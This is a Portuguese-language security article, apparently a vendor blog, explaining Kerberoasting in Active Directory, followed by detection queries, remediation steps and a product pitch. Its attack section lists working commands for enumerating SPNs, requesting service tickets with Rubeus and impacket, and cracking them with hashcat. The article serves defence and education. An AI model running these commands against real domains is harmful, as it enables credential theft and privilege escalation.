O que e Kerberoasting?
O Kerberoasting e uma tecnica de ataque do Active Directory que permite a qualquer usuario autenticado do dominio extrair hashes de senhas crackaveis de contas de servico, sem nenhum privilegio especial.
O ataque visa contas com um Service Principal Name (SPN) configurado. No Kerberos, qualquer usuario do dominio pode solicitar um ticket de servico (TGS) para qualquer SPN. Esse ticket e cifrado com o hash NTLM da conta de servico. Um atacante pode solicitar o ticket e cracka-lo offline.
Sem direitos elevados. Sem interacao com a conta alvo. Sem alertas no sistema alvo.
⚠️ Por que e grave: As contas de servico frequentemente tem senhas que nunca expiram, definidas ha anos, sem os mesmos requisitos de complexidade das contas de usuario.
Como Funciona
Quando um usuario quer acessar um servico, o Kerberos emite um ticket TGS cifrado com o hash NTLM da conta que executa esse servico. O KDC nao verifica se o usuario solicitante realmente precisa de acesso: ele simplesmente emite o ticket.
Qualquer usuario do dominio pode coletar quantos tickets de servico quiser, para qualquer SPN, sem nenhum controle de autorizacao.
A Cadeia de Ataque
Etapa 1 - Enumerar os SPNs
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName, PasswordLastSet, PasswordNeverExpires |
Select-Object SamAccountName, ServicePrincipalName, PasswordLastSet, PasswordNeverExpires
impacket-GetUserSPNs -dc-ip 10.10.0.1 corp.local/user:password
Etapa 2 - Solicitar os Tickets de Servico
.\Rubeus.exe kerberoast /outfile:hashes.txt
impacket-GetUserSPNs -dc-ip 10.10.0.1 corp.local/user:password -request -outputfile hashes.txt
Etapa 3 - Crackear Offline
# Modo 13100 para RC4
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt --rules-file best64.rule
# Modo 19700 para AES-256
hashcat -m 19700 hashes.txt /usr/share/wordlists/rockyou.txt
Etapa 4 - Movimento Lateral e Escalada de Privilegios
Uma senha de conta de servico crackeada abre acesso a tudo que essa conta tem acesso. Se a conta tiver privilegios excessivos, pode significar um caminho direto para Domain Admin.
Deteccao
Event IDs do Windows
| Event ID | Fonte | O que observar |
|---|---|---|
| 4769 | DC - Security | TGS solicitado com cifrado RC4 (0x17) quando AES e o padrao |
| 4769 | DC - Security | Multiplas solicitacoes TGS para diferentes SPNs em pouco tempo de uma conta |
Consulta SIEM (Elastic KQL)
event.code: "4769" AND
winlog.event_data.TicketEncryptionType: "0x17" AND
NOT winlog.event_data.ServiceName: ("krbtgt" OR "*$")
💡 Dica: Aplique AES exclusivo em seu dominio. Qualquer solicitacao RC4 torna-se um alerta de alta confianca.
Remediacao
💡 Acao Rapida: Audite contas de servico com
PasswordNeverExpires = Truee rotacione qualquer senha com mais de um ano.
-
Senhas longas e fortes - minimo 25 caracteres gerados aleatoriamente.
-
Group Managed Service Accounts (gMSA) - senhas de 240 caracteres gerenciadas automaticamente pelo AD.
New-ADServiceAccount -Name gMSA_SQL -DNSHostName sql.corp.local -PrincipalsAllowedToRetrieveManagedPassword "SQL_Servers"
Install-ADServiceAccount -Identity gMSA_SQL
- Aplicar AES nas contas de servico.
Set-ADUser -Identity svc_sql -Replace @{msDS-SupportedEncryptionTypes=24}
- Privilegio minimo - contas de servico devem ter apenas as permissoes necessarias.
Como o EtcSec Detecta Isso
O EtcSec identifica as condicoes que tornam o Kerberoasting possivel antes que um atacante as explore.
A deteccao KERBEROASTING_RISK sinaliza todas as contas com SPN configurado que sao vulneraveis devido a uma postura de senha fraca.
Verificacoes relacionadas:
- PASSWORD_NEVER_EXPIRES - senhas que nunca expiram permanecem crackaveis indefinidamente
- PASSWORD_POLICY_WEAK - politica fraca torna o cracking mais provavel
- KERBEROS_RC4_FALLBACK - RC4 ainda permitido acelera consideravelmente o cracking
ℹ️ Nota: O EtcSec verifica automaticamente essas vulnerabilidades em cada auditoria AD. Execute uma auditoria gratuita para ver quais contas de servico estao expostas.

